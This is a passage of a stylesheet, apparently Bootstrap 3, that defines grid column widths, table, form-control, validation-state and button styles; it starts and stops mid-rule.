66.66666667%;\n }\n .col-md-7 {\n width: 58.33333333%;\n }\n .col-md-6 {\n width: 50%;\n }\n .col-md-5 {\n width: 41.66666667%;\n }\n .col-md-4 {\n width: 33.33333333%;\n }\n .col-md-3 {\n width: 25%;\n }\n .col-md-2 {\n width: 16.66666667%;\n }\n .col-md-1 {\n width: 8.33333333%;\n }\n .col-md-pull-12 {\n right: 100%;\n }\n .col-md-pull-11 {\n right: 91.66666667%;\n }\n .col-md-pull-10 {\n right: 83.33333333%;\n }\n .col-md-pull-9 {\n right: 75%;\n }\n .col-md-pull-8 {\n right: 66.66666667%;\n }\n .col-md-pull-7 {\n right: 58.33333333%;\n }\n .col-md-pull-6 {\n right: 50%;\n }\n .col-md-pull-5 {\n right: 41.66666667%;\n }\n .col-md-pull-4 {\n right: 33.33333333%;\n }\n .col-md-pull-3 {\n right: 25%;\n }\n .col-md-pull-2 {\n right: 16.66666667%;\n }\n .col-md-pull-1 {\n right: 8.33333333%;\n }\n .col-md-pull-0 {\n right: auto;\n }\n .col-md-push-12 {\n left: 100%;\n }\n .col-md-push-11 {\n left: 91.66666667%;\n }\n .col-md-push-10 {\n left: 83.33333333%;\n }\n .col-md-push-9 {\n left: 75%;\n }\n .col-md-push-8 {\n left: 66.66666667%;\n }\n .col-md-push-7 {\n left: 58.33333333%;\n }\n .col-md-push-6 {\n left: 50%;\n }\n .col-md-push-5 {\n left: 41.66666667%;\n }\n .col-md-push-4 {\n left: 33.33333333%;\n }\n .col-md-push-3 {\n left: 25%;\n }\n .col-md-push-2 {\n left: 16.66666667%;\n }\n .col-md-push-1 {\n left: 8.33333333%;\n }\n .col-md-push-0 {\n left: auto;\n }\n .col-md-offset-12 {\n margin-left: 100%;\n }\n .col-md-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-md-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-md-offset-9 {\n margin-left: 75%;\n }\n .col-md-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-md-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-md-offset-6 {\n margin-left: 50%;\n }\n .col-md-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-md-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-md-offset-3 {\n margin-left: 25%;\n }\n .col-md-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-md-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-md-offset-0 {\n margin-left: 0%;\n }\n}\n@media (min-width: 1200px) {\n .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 {\n float: left;\n }\n .col-lg-12 {\n width: 100%;\n }\n .col-lg-11 {\n width: 91.66666667%;\n }\n .col-lg-10 {\n width: 83.33333333%;\n }\n .col-lg-9 {\n width: 75%;\n }\n .col-lg-8 {\n width: 66.66666667%;\n }\n .col-lg-7 {\n width: 58.33333333%;\n }\n .col-lg-6 {\n width: 50%;\n }\n .col-lg-5 {\n width: 41.66666667%;\n }\n .col-lg-4 {\n width: 33.33333333%;\n }\n .col-lg-3 {\n width: 25%;\n }\n .col-lg-2 {\n width: 16.66666667%;\n }\n .col-lg-1 {\n width: 8.33333333%;\n }\n .col-lg-pull-12 {\n right: 100%;\n }\n .col-lg-pull-11 {\n right: 91.66666667%;\n }\n .col-lg-pull-10 {\n right: 83.33333333%;\n }\n .col-lg-pull-9 {\n right: 75%;\n }\n .col-lg-pull-8 {\n right: 66.66666667%;\n }\n .col-lg-pull-7 {\n right: 58.33333333%;\n }\n .col-lg-pull-6 {\n right: 50%;\n }\n .col-lg-pull-5 {\n right: 41.66666667%;\n }\n .col-lg-pull-4 {\n right: 33.33333333%;\n }\n .col-lg-pull-3 {\n right: 25%;\n }\n .col-lg-pull-2 {\n right: 16.66666667%;\n }\n .col-lg-pull-1 {\n right: 8.33333333%;\n }\n .col-lg-pull-0 {\n right: auto;\n }\n .col-lg-push-12 {\n left: 100%;\n }\n .col-lg-push-11 {\n left: 91.66666667%;\n }\n .col-lg-push-10 {\n left: 83.33333333%;\n }\n .col-lg-push-9 {\n left: 75%;\n }\n .col-lg-push-8 {\n left: 66.66666667%;\n }\n .col-lg-push-7 {\n left: 58.33333333%;\n }\n .col-lg-push-6 {\n left: 50%;\n }\n .col-lg-push-5 {\n left: 41.66666667%;\n }\n .col-lg-push-4 {\n left: 33.33333333%;\n }\n .col-lg-push-3 {\n left: 25%;\n }\n .col-lg-push-2 {\n left: 16.66666667%;\n }\n .col-lg-push-1 {\n left: 8.33333333%;\n }\n .col-lg-push-0 {\n left: auto;\n }\n .col-lg-offset-12 {\n margin-left: 100%;\n }\n .col-lg-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-lg-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-lg-offset-9 {\n margin-left: 75%;\n }\n .col-lg-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-lg-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-lg-offset-6 {\n margin-left: 50%;\n }\n .col-lg-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-lg-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-lg-offset-3 {\n margin-left: 25%;\n }\n .col-lg-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-lg-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-lg-offset-0 {\n margin-left: 0%;\n }\n}\ntable {\n background-color: transparent;\n}\ncaption {\n padding-top: 8px;\n padding-bottom: 8px;\n color: #777777;\n text-align: left;\n}\nth {\n text-align: left;\n}\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: 20px;\n}\n.table > thead > tr > th,\n.table > tbody > tr > th,\n.table > tfoot > tr > th,\n.table > thead > tr > td,\n.table > tbody > tr > td,\n.table > tfoot > tr > td {\n padding: 8px;\n line-height: 1.42857143;\n vertical-align: top;\n border-top: 1px solid #dddddd;\n}\n.table > thead > tr > th {\n vertical-align: bottom;\n border-bottom: 2px solid #dddddd;\n}\n.table > caption + thead > tr:first-child > th,\n.table > colgroup + thead > tr:first-child > th,\n.table > thead:first-child > tr:first-child > th,\n.table > caption + thead > tr:first-child > td,\n.table > colgroup + thead > tr:first-child > td,\n.table > thead:first-child > tr:first-child > td {\n border-top: 0;\n}\n.table > tbody + tbody {\n border-top: 2px solid #dddddd;\n}\n.table .table {\n background-color: #ffffff;\n}\n.table-condensed > thead > tr > th,\n.table-condensed > tbody > tr > th,\n.table-condensed > tfoot > tr > th,\n.table-condensed > thead > tr > td,\n.table-condensed > tbody > tr > td,\n.table-condensed > tfoot > tr > td {\n padding: 5px;\n}\n.table-bordered {\n border: 1px solid #dddddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > tbody > tr > th,\n.table-bordered > tfoot > tr > th,\n.table-bordered > thead > tr > td,\n.table-bordered > tbody > tr > td,\n.table-bordered > tfoot > tr > td {\n border: 1px solid #dddddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > thead > tr > td {\n border-bottom-width: 2px;\n}\n.table-striped > tbody > tr:nth-of-type(odd) {\n background-color: #f9f9f9;\n}\n.table-hover > tbody > tr:hover {\n background-color: #f5f5f5;\n}\ntable col[class*=\"col-\"] {\n position: static;\n float: none;\n display: table-column;\n}\ntable td[class*=\"col-\"],\ntable th[class*=\"col-\"] {\n position: static;\n float: none;\n display: table-cell;\n}\n.table > thead > tr > td.active,\n.table > tbody > tr > td.active,\n.table > tfoot > tr > td.active,\n.table > thead > tr > th.active,\n.table > tbody > tr > th.active,\n.table > tfoot > tr > th.active,\n.table > thead > tr.active > td,\n.table > tbody > tr.active > td,\n.table > tfoot > tr.active > td,\n.table > thead > tr.active > th,\n.table > tbody > tr.active > th,\n.table > tfoot > tr.active > th {\n background-color: #f5f5f5;\n}\n.table-hover > tbody > tr > td.active:hover,\n.table-hover > tbody > tr > th.active:hover,\n.table-hover > tbody > tr.active:hover > td,\n.table-hover > tbody > tr:hover > .active,\n.table-hover > tbody > tr.active:hover > th {\n background-color: #e8e8e8;\n}\n.table > thead > tr > td.success,\n.table > tbody > tr > td.success,\n.table > tfoot > tr > td.success,\n.table > thead > tr > th.success,\n.table > tbody > tr > th.success,\n.table > tfoot > tr > th.success,\n.table > thead > tr.success > td,\n.table > tbody > tr.success > td,\n.table > tfoot > tr.success > td,\n.table > thead > tr.success > th,\n.table > tbody > tr.success > th,\n.table > tfoot > tr.success > th {\n background-color: #dff0d8;\n}\n.table-hover > tbody > tr > td.success:hover,\n.table-hover > tbody > tr > th.success:hover,\n.table-hover > tbody > tr.success:hover > td,\n.table-hover > tbody > tr:hover > .success,\n.table-hover > tbody > tr.success:hover > th {\n background-color: #d0e9c6;\n}\n.table > thead > tr > td.info,\n.table > tbody > tr > td.info,\n.table > tfoot > tr > td.info,\n.table > thead > tr > th.info,\n.table > tbody > tr > th.info,\n.table > tfoot > tr > th.info,\n.table > thead > tr.info > td,\n.table > tbody > tr.info > td,\n.table > tfoot > tr.info > td,\n.table > thead > tr.info > th,\n.table > tbody > tr.info > th,\n.table > tfoot > tr.info > th {\n background-color: #d9edf7;\n}\n.table-hover > tbody > tr > td.info:hover,\n.table-hover > tbody > tr > th.info:hover,\n.table-hover > tbody > tr.info:hover > td,\n.table-hover > tbody > tr:hover > .info,\n.table-hover > tbody > tr.info:hover > th {\n background-color: #c4e3f3;\n}\n.table > thead > tr > td.warning,\n.table > tbody > tr > td.warning,\n.table > tfoot > tr > td.warning,\n.table > thead > tr > th.warning,\n.table > tbody > tr > th.warning,\n.table > tfoot > tr > th.warning,\n.table > thead > tr.warning > td,\n.table > tbody > tr.warning > td,\n.table > tfoot > tr.warning > td,\n.table > thead > tr.warning > th,\n.table > tbody > tr.warning > th,\n.table > tfoot > tr.warning > th {\n background-color: #fcf8e3;\n}\n.table-hover > tbody > tr > td.warning:hover,\n.table-hover > tbody > tr > th.warning:hover,\n.table-hover > tbody > tr.warning:hover > td,\n.table-hover > tbody > tr:hover > .warning,\n.table-hover > tbody > tr.warning:hover > th {\n background-color: #faf2cc;\n}\n.table > thead > tr > td.danger,\n.table > tbody > tr > td.danger,\n.table > tfoot > tr > td.danger,\n.table > thead > tr > th.danger,\n.table > tbody > tr > th.danger,\n.table > tfoot > tr > th.danger,\n.table > thead > tr.danger > td,\n.table > tbody > tr.danger > td,\n.table > tfoot > tr.danger > td,\n.table > thead > tr.danger > th,\n.table > tbody > tr.danger > th,\n.table > tfoot > tr.danger > th {\n background-color: #f2dede;\n}\n.table-hover > tbody > tr > td.danger:hover,\n.table-hover > tbody > tr > th.danger:hover,\n.table-hover > tbody > tr.danger:hover > td,\n.table-hover > tbody > tr:hover > .danger,\n.table-hover > tbody > tr.danger:hover > th {\n background-color: #ebcccc;\n}\n.table-responsive {\n overflow-x: auto;\n min-height: 0.01%;\n}\n@media screen and (max-width: 767px) {\n .table-responsive {\n width: 100%;\n margin-bottom: 15px;\n overflow-y: hidden;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n border: 1px solid #dddddd;\n }\n .table-responsive > .table {\n margin-bottom: 0;\n }\n .table-responsive > .table > thead > tr > th,\n .table-responsive > .table > tbody > tr > th,\n .table-responsive > .table > tfoot > tr > th,\n .table-responsive > .table > thead > tr > td,\n .table-responsive > .table > tbody > tr > td,\n .table-responsive > .table > tfoot > tr > td {\n white-space: nowrap;\n }\n .table-responsive > .table-bordered {\n border: 0;\n }\n .table-responsive > .table-bordered > thead > tr > th:first-child,\n .table-responsive > .table-bordered > tbody > tr > th:first-child,\n .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n .table-responsive > .table-bordered > thead > tr > td:first-child,\n .table-responsive > .table-bordered > tbody > tr > td:first-child,\n .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n border-left: 0;\n }\n .table-responsive > .table-bordered > thead > tr > th:last-child,\n .table-responsive > .table-bordered > tbody > tr > th:last-child,\n .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n .table-responsive > .table-bordered > thead > tr > td:last-child,\n .table-responsive > .table-bordered > tbody > tr > td:last-child,\n .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n border-right: 0;\n }\n .table-responsive > .table-bordered > tbody > tr:last-child > th,\n .table-responsive > .table-bordered > tfoot > tr:last-child > th,\n .table-responsive > .table-bordered > tbody > tr:last-child > td,\n .table-responsive > .table-bordered > tfoot > tr:last-child > td {\n border-bottom: 0;\n }\n}\nfieldset {\n padding: 0;\n margin: 0;\n border: 0;\n min-width: 0;\n}\nlegend {\n display: block;\n width: 100%;\n padding: 0;\n margin-bottom: 20px;\n font-size: 21px;\n line-height: inherit;\n color: #333333;\n border: 0;\n border-bottom: 1px solid #e5e5e5;\n}\nlabel {\n display: inline-block;\n max-width: 100%;\n margin-bottom: 5px;\n font-weight: bold;\n}\ninput[type=\"search\"] {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n}\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n margin: 4px 0 0;\n margin-top: 1px \\9;\n line-height: normal;\n}\ninput[type=\"file\"] {\n display: block;\n}\ninput[type=\"range\"] {\n display: block;\n width: 100%;\n}\nselect[multiple],\nselect[size] {\n height: auto;\n}\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n outline: thin dotted;\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\noutput {\n display: block;\n padding-top: 7px;\n font-size: 14px;\n line-height: 1.42857143;\n color: #555555;\n}\n.form-control {\n display: block;\n width: 100%;\n height: 34px;\n padding: 6px 12px;\n font-size: 14px;\n line-height: 1.42857143;\n color: #555555;\n background-color: #ffffff;\n background-image: none;\n border: 1px solid #cccccc;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n -webkit-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n}\n.form-control:focus {\n border-color: #66afe9;\n outline: 0;\n -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);\n box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);\n}\n.form-control::-moz-placeholder {\n color: #999999;\n opacity: 1;\n}\n.form-control:-ms-input-placeholder {\n color: #999999;\n}\n.form-control::-webkit-input-placeholder {\n color: #999999;\n}\n.form-control[disabled],\n.form-control[readonly],\nfieldset[disabled] .form-control {\n background-color: #eeeeee;\n opacity: 1;\n}\n.form-control[disabled],\nfieldset[disabled] .form-control {\n cursor: not-allowed;\n}\ntextarea.form-control {\n height: auto;\n}\ninput[type=\"search\"] {\n -webkit-appearance: none;\n}\n@media screen and (-webkit-min-device-pixel-ratio: 0) {\n input[type=\"date\"].form-control,\n input[type=\"time\"].form-control,\n input[type=\"datetime-local\"].form-control,\n input[type=\"month\"].form-control {\n line-height: 34px;\n }\n input[type=\"date\"].input-sm,\n input[type=\"time\"].input-sm,\n input[type=\"datetime-local\"].input-sm,\n input[type=\"month\"].input-sm,\n .input-group-sm input[type=\"date\"],\n .input-group-sm input[type=\"time\"],\n .input-group-sm input[type=\"datetime-local\"],\n .input-group-sm input[type=\"month\"] {\n line-height: 30px;\n }\n input[type=\"date\"].input-lg,\n input[type=\"time\"].input-lg,\n input[type=\"datetime-local\"].input-lg,\n input[type=\"month\"].input-lg,\n .input-group-lg input[type=\"date\"],\n .input-group-lg input[type=\"time\"],\n .input-group-lg input[type=\"datetime-local\"],\n .input-group-lg input[type=\"month\"] {\n line-height: 46px;\n }\n}\n.form-group {\n margin-bottom: 15px;\n}\n.radio,\n.checkbox {\n position: relative;\n display: block;\n margin-top: 10px;\n margin-bottom: 10px;\n}\n.radio label,\n.checkbox label {\n min-height: 20px;\n padding-left: 20px;\n margin-bottom: 0;\n font-weight: normal;\n cursor: pointer;\n}\n.radio input[type=\"radio\"],\n.radio-inline input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"],\n.checkbox-inline input[type=\"checkbox\"] {\n position: absolute;\n margin-left: -20px;\n margin-top: 4px \\9;\n}\n.radio + .radio,\n.checkbox + .checkbox {\n margin-top: -5px;\n}\n.radio-inline,\n.checkbox-inline {\n position: relative;\n display: inline-block;\n padding-left: 20px;\n margin-bottom: 0;\n vertical-align: middle;\n font-weight: normal;\n cursor: pointer;\n}\n.radio-inline + .radio-inline,\n.checkbox-inline + .checkbox-inline {\n margin-top: 0;\n margin-left: 10px;\n}\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\ninput[type=\"radio\"].disabled,\ninput[type=\"checkbox\"].disabled,\nfieldset[disabled] input[type=\"radio\"],\nfieldset[disabled] input[type=\"checkbox\"] {\n cursor: not-allowed;\n}\n.radio-inline.disabled,\n.checkbox-inline.disabled,\nfieldset[disabled] .radio-inline,\nfieldset[disabled] .checkbox-inline {\n cursor: not-allowed;\n}\n.radio.disabled label,\n.checkbox.disabled label,\nfieldset[disabled] .radio label,\nfieldset[disabled] .checkbox label {\n cursor: not-allowed;\n}\n.form-control-static {\n padding-top: 7px;\n padding-bottom: 7px;\n margin-bottom: 0;\n min-height: 34px;\n}\n.form-control-static.input-lg,\n.form-control-static.input-sm {\n padding-left: 0;\n padding-right: 0;\n}\n.input-sm {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\nselect.input-sm {\n height: 30px;\n line-height: 30px;\n}\ntextarea.input-sm,\nselect[multiple].input-sm {\n height: auto;\n}\n.form-group-sm .form-control {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.form-group-sm select.form-control {\n height: 30px;\n line-height: 30px;\n}\n.form-group-sm textarea.form-control,\n.form-group-sm select[multiple].form-control {\n height: auto;\n}\n.form-group-sm .form-control-static {\n height: 30px;\n min-height: 32px;\n padding: 6px 10px;\n font-size: 12px;\n line-height: 1.5;\n}\n.input-lg {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\nselect.input-lg {\n height: 46px;\n line-height: 46px;\n}\ntextarea.input-lg,\nselect[multiple].input-lg {\n height: auto;\n}\n.form-group-lg .form-control {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\n.form-group-lg select.form-control {\n height: 46px;\n line-height: 46px;\n}\n.form-group-lg textarea.form-control,\n.form-group-lg select[multiple].form-control {\n height: auto;\n}\n.form-group-lg .form-control-static {\n height: 46px;\n min-height: 38px;\n padding: 11px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n}\n.has-feedback {\n position: relative;\n}\n.has-feedback .form-control {\n padding-right: 42.5px;\n}\n.form-control-feedback {\n position: absolute;\n top: 0;\n right: 0;\n z-index: 2;\n display: block;\n width: 34px;\n height: 34px;\n line-height: 34px;\n text-align: center;\n pointer-events: none;\n}\n.input-lg + .form-control-feedback,\n.input-group-lg + .form-control-feedback,\n.form-group-lg .form-control + .form-control-feedback {\n width: 46px;\n height: 46px;\n line-height: 46px;\n}\n.input-sm + .form-control-feedback,\n.input-group-sm + .form-control-feedback,\n.form-group-sm .form-control + .form-control-feedback {\n width: 30px;\n height: 30px;\n line-height: 30px;\n}\n.has-success .help-block,\n.has-success .control-label,\n.has-success .radio,\n.has-success .checkbox,\n.has-success .radio-inline,\n.has-success .checkbox-inline,\n.has-success.radio label,\n.has-success.checkbox label,\n.has-success.radio-inline label,\n.has-success.checkbox-inline label {\n color: #3c763d;\n}\n.has-success .form-control {\n border-color: #3c763d;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-success .form-control:focus {\n border-color: #2b542c;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168;\n}\n.has-success .input-group-addon {\n color: #3c763d;\n border-color: #3c763d;\n background-color: #dff0d8;\n}\n.has-success .form-control-feedback {\n color: #3c763d;\n}\n.has-warning .help-block,\n.has-warning .control-label,\n.has-warning .radio,\n.has-warning .checkbox,\n.has-warning .radio-inline,\n.has-warning .checkbox-inline,\n.has-warning.radio label,\n.has-warning.checkbox label,\n.has-warning.radio-inline label,\n.has-warning.checkbox-inline label {\n color: #8a6d3b;\n}\n.has-warning .form-control {\n border-color: #8a6d3b;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-warning .form-control:focus {\n border-color: #66512c;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b;\n}\n.has-warning .input-group-addon {\n color: #8a6d3b;\n border-color: #8a6d3b;\n background-color: #fcf8e3;\n}\n.has-warning .form-control-feedback {\n color: #8a6d3b;\n}\n.has-error .help-block,\n.has-error .control-label,\n.has-error .radio,\n.has-error .checkbox,\n.has-error .radio-inline,\n.has-error .checkbox-inline,\n.has-error.radio label,\n.has-error.checkbox label,\n.has-error.radio-inline label,\n.has-error.checkbox-inline label {\n color: #a94442;\n}\n.has-error .form-control {\n border-color: #a94442;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-error .form-control:focus {\n border-color: #843534;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483;\n}\n.has-error .input-group-addon {\n color: #a94442;\n border-color: #a94442;\n background-color: #f2dede;\n}\n.has-error .form-control-feedback {\n color: #a94442;\n}\n.has-feedback label ~ .form-control-feedback {\n top: 25px;\n}\n.has-feedback label.sr-only ~ .form-control-feedback {\n top: 0;\n}\n.help-block {\n display: block;\n margin-top: 5px;\n margin-bottom: 10px;\n color: #737373;\n}\n@media (min-width: 768px) {\n .form-inline .form-group {\n display: inline-block;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .form-control {\n display: inline-block;\n width: auto;\n vertical-align: middle;\n }\n .form-inline .form-control-static {\n display: inline-block;\n }\n .form-inline .input-group {\n display: inline-table;\n vertical-align: middle;\n }\n .form-inline .input-group .input-group-addon,\n .form-inline .input-group .input-group-btn,\n .form-inline .input-group .form-control {\n width: auto;\n }\n .form-inline .input-group > .form-control {\n width: 100%;\n }\n .form-inline .control-label {\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .radio,\n .form-inline .checkbox {\n display: inline-block;\n margin-top: 0;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .radio label,\n .form-inline .checkbox label {\n padding-left: 0;\n }\n .form-inline .radio input[type=\"radio\"],\n .form-inline .checkbox input[type=\"checkbox\"] {\n position: relative;\n margin-left: 0;\n }\n .form-inline .has-feedback .form-control-feedback {\n top: 0;\n }\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox,\n.form-horizontal .radio-inline,\n.form-horizontal .checkbox-inline {\n margin-top: 0;\n margin-bottom: 0;\n padding-top: 7px;\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox {\n min-height: 27px;\n}\n.form-horizontal .form-group {\n margin-left: -15px;\n margin-right: -15px;\n}\n@media (min-width: 768px) {\n .form-horizontal .control-label {\n text-align: right;\n margin-bottom: 0;\n padding-top: 7px;\n }\n}\n.form-horizontal .has-feedback .form-control-feedback {\n right: 15px;\n}\n@media (min-width: 768px) {\n .form-horizontal .form-group-lg .control-label {\n padding-top: 14.333333px;\n font-size: 18px;\n }\n}\n@media (min-width: 768px) {\n .form-horizontal .form-group-sm .control-label {\n padding-top: 6px;\n font-size: 12px;\n }\n}\n.btn {\n display: inline-block;\n margin-bottom: 0;\n font-weight: normal;\n text-align: center;\n vertical-align: middle;\n touch-action: manipulation;\n cursor: pointer;\n background-image: none;\n border: 1px solid transparent;\n white-space: nowrap;\n padding: 6px 12px;\n font-size: 14px;\n line-height: 1.42857143;\n border-radius: 4px;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n}\n.btn:focus,\n.btn:active:focus,\n.btn.active:focus,\n.btn.focus,\n.btn:active.focus,\n.btn.active.focus {\n outline: thin dotted;\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\n.btn:hover,\n.btn:focus,\n.btn.focus {\n color: #333333;\n text-decoration: none;\n}\n.btn:active,\n.btn.active {\n outline: 0;\n background-image: none;\n -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n}\n.btn.disabled,\n.btn[disabled],\nfieldset[disabled] .btn {\n cursor: not-allowed;\n opacity: 0.65;\n filter: alpha(opacity=65);\n -webkit-box-shadow: none;\n box-shadow: none;\n}\na.btn.disabled,\nfieldset[disabled] a.btn {\n pointer-events: none;\n}\n.btn-default {\n color: #333333;\n background-color: #ffffff;\n border-color: #cccccc;\n}\n.btn-default:focus,\n.btn-default.focus {\n color: #333333;\n background-color: #e6e6e6;\n border-color: #8c8c8c;\n}\n.btn-default:hover {\n color: #333333;\n background-color: #e6e6e6;\n border-color: #adadad;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n color: #333333;\n background-color: #e6e6e6;\n border-color: #adadad;\n}\n.btn-default:active:hover,\n.btn-default.active:hover,\n.open > .dropdown-toggle.btn-default:hover,\n.btn-default:active:focus,\n.btn-default.active:focus,\n.open > .dropdown-toggle.btn-default:focus,\n.btn-default:active.focus,\n.btn-default.active.focus,\n.open > .dropdown-toggle.btn-default.focus {\n color: #333333;\n background-color: #d4d4d4;\n border-color: #8c8c8c;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n background-image: none;\n}\n.btn-default.disabled,\n.btn-default[disabled],\nfieldset[disabled] .btn-default,\n.btn-default.disabled:hover,\n.btn-default[disabled]:hover,\nfieldset[disabled] .btn-default:hover,\n.btn-default.disabled:focus,\n.btn-default[disabled]:focus,\nfieldset[disabled] .btn-default:focus,\n.btn-default.disabled.focus,\n.btn-default[disabled].focus,\nfieldset[disabled] .btn-default.focus,\n.btn-default.disabled:active,\n.btn-default[disabled]:active,\nfieldset[disabled] .btn-default:active,\n.btn-default.disabled.active,\n.btn-default[disabled].active,\nfieldset[disabled] .btn-default.active {\n background-color: #ffffff;\n border-color: #cccccc;\n}\n.btn-default .badge {\n color: #ffffff;\n background-color: #333333;\n}\n.btn-primary {\n color: #ffffff;\n background-color: #337ab7;\n border-color: #2e6da4;\n}\n.btn-primary:focus,\n.btn-primary.focus {\n color: #ffffff;\n background-color: #286090;\n border-color: #122b40;\n}\n.btn-primary:hover {\n color: #ffffff;\n background-color: #286090;\n border-color: #204d74;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n color: #ffffff;\n background-color: #286090;\n border-color: #204d74;\n}\n.btn-primary:active:hover,\n.btn-primary.active:hover,\n.open > .dropdown-toggle.btn-primary:hover,\n.btn-primary:active:focus,\n.btn-primary.active:focus,\n.open > .dropdown-toggle.btn-primary:focus,\n.btn-primary:active.focus,\n.btn-primary.active.focus,\n.open > .dropdown-toggle.btn-primary.focus {\n color: #ffffff;\n background-color: #204d74;\n border-color: #122b40;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n background-image: none;\n}\n.btn-primary.disabled,\n.btn-primary[disabled],\nfieldset[disabled] .btn-primary,\n.btn-primary.disabled:hover,\n.btn-primary[disabled]:hover,\nfieldset[disabled] .btn-primary:hover,\n.btn-primary.disabled:focus,\n.btn-primary[disabled]:focus,\nfieldset[disabled] .btn-primary:focus,\n.btn-primary.disabled.focus,\n.btn-primary[disabled].focus,\nfieldset[disabled] .btn-primary.focus,\n.btn-primary.disabled:active,\n.btn-primary[disabled]:active,\nfieldset[disabled] .btn-primary:active,\n.btn-primary.disabled.active,\n.btn-primary[disabled].active,\nfieldset[disabled] .btn-primary.active {\n background-color: #337ab7;\n border-color: #2e6da4;\n}\n.btn-primary .badge {\n color: #337ab7;\n background-color: #ffffff;\n}\n.btn-success {\n color: #ffffff;\n background-color: #5cb85c;\n border-color: #4cae4c;\n}\n.btn-success:focus,\n.btn-success.focus {\n color: #ffffff;\n background-color: #449d44;\n border-color: #255625;\n}\n.btn-success:hover {\n color: #ffffff;\n background-color: #449d44;\n border-color: #398439;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n color: #ffffff;\n background-color: #449d44;\n border-color: #398439;\n}\n.btn-success:active:hover,\n.btn-success.active:hover,\n.open > .dropdown-toggle.btn-success:hover,\n.btn-success:active:focus,\n.btn-success.active:focus,\n.open > .dropdown-toggle.btn-success:focus,\n.btn-success:active.focus,\n.btn-success.active.focus,\n.open > .dropdown-toggle.btn-success.focus {\n color: #ffffff;\n background-color: #398439;\n border-color: #255625;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n background-image: 